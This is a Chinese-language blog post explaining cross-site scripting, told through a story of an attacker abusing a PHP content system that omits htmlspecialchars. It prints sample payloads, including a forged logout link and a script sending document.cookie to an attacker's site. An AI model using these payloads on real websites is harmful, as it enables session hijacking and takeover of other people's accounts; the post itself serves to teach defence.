close
跨網站攻擊程式 (XSS) 指的是一種能夠威脅任何網站應用的形式,而它的嚴重性往往被低估了;這個問題所帶來的影響遠超過突如其來的打擾或惡作劇。透過擷取您的 cookies 資料(一種儲存在個人瀏覽器的暫存資訊),跨網站攻擊程式能夠讓攻擊者取得您網站的管理者權限。

這是如何發生的呢?這個問題的形式是當一個網站應用程式(例如PHP程式)在還沒過濾使用者提供的資訊就顯示在畫面中,如果一個使用者上傳了留言、評論或甚至是一個帳號與密碼,如果這些資訊接下來會顯示在網頁中,那麼其中可能就包含了應該被濾除的內容。這些內容也許是無傷大雅的(例如惡作劇),也或者會是嘗試要取得私人資訊的惡意程式碼,藉此闖入您的系統。通常這些內容會以程式碼的形式存在,因此才會取名為 '跨網站攻擊程式'。

比較不會造成傷害的跨網站攻擊形式:

* 嘗試要破壞網頁畫面配置與內容
* 惡作劇程式、顯示討厭的訊息、廣告視窗等程式或物件

比較嚴重的跨網站攻擊形式:

* 產生可以誤導人們的網站連結,透過這些連結來引發一些動作,像是登出、發佈文章或是修改密碼等
* 程式或帶有 "javascript:" 的連結用來從 cookies 中蒐集個人資訊,接著將它們傳送到第三個網站,藉此取得系統的管理者權限
* 嘗試攻擊特定瀏覽器已知安全弱點的物件或外掛程式

跨網站攻擊的生命週期

作者發現跨網站攻擊是一種難以想像的概念,透過這篇文章作者將引導您經歷一個典型的跨網站攻擊過程,藉此讓您知道可能會發生哪些事情。

Joe 自己建立了一個內容管理系統,它包括了使用者帳號、連線與個別使用者的權限管理;要登入到這個系統時,他在網站的登入表單輸入帳號、密碼即可,在他的瀏覽器連線期間,一個 cookie 會儲存他的 '連線序號',這讓他能夠在瀏覽網站其他頁面時依然保持登入狀態。

Joe的網站也允許任何人註冊新帳號,並且在網站上輸入訊息,例如一個訊息可以被放置在BLOG的評論、使用者的基本資料或甚至是使用者的帳號;不幸的是, Joe 在部份顯示使用者透過瀏覽器提供內容的頁面忘記使用 htmlspecialchars 函式。

Rick是一個惡意的使用者,他在 Joe 的網站註冊了個帳號並且完成他的個人資料頁面填寫。在他的個人資料中包含了下面這樣一段文字:


<script>alert('Hello World');


這樣一來,當 Joe (或其他人) 瀏覽 Rick 的個人資料,他就會看到一個討厭的彈出式視窗。

Rick 有點狡猾,在Joe網站上的BLOG評論放置了下面這樣的程式碼:


<a href="/usercp.php?action=logout">一個關於貓的網頁a>


這樣一來當 Joe (或其他人) 點選了連結,他們以為會看到一個關於貓的網頁,卻會因此登出這個網站。這非常討厭,而且困擾 Joe 好一段期間。

更糟的是, Rick 在 Joe 頁面上的留言放入了下面程式碼:


<script>location.replace('http://rickspage.com/?secret='+document.cookie)


這樣一來當 Joe (或其他人) 瀏覽留言板,他就會被引導到 Rick的網站。麻煩的是,Joe瀏覽器紀錄連線資訊的 cookie 被當作網址的一部分傳遞到 Rick 的網頁伺服器。

Rick 接著就可以透過這個來自 Joe 瀏覽器的 cookie 以 Joe 的帳號瀏覽 Joe 的網站; Rick 可以修改 Joe 的密碼,授予他自己管理權限或是開始刪除內容。
arrow
arrow
    全站熱搜

    天秤女~佳佳 發表在 痞客邦 留言(0) 人氣()